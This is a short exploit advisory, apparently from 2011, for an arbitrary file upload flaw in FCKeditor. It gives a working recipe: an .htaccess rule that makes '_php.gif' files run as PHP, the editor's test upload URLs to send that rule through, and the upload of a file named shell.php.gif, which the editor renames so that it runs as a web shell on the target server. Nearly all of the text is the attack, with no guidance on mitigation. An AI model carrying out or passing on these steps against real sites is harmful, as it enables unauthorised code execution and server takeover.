In The Name Of GOD 
[+] Title:FCKeditor all version Arbitrary File Upload Vulnerability
[+] Date: 2011
[+] script:http://sourceforge.net/projects/fckeditor/
[+] Author  : pentesters.ir
[+] Website : WwW.PenTesters.IR
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1.create a htaccess file:
code: 
<FilesMatch "_php.gif">
SetHandler application/x-httpd-php
</FilesMatch>

2.Now upload this htaccess with FCKeditor.
http://target.com/FCKeditor/editor/filemanager/upload/test.html
http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html
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3.Now upload shell.php.gif with FCKeditor.
4.After upload shell.php.gif, the name "shell.php.gif" change to "shell_php.gif" automatically.
5.http://target.com/anything/shell_php.gif
6.Now shell is available from server.
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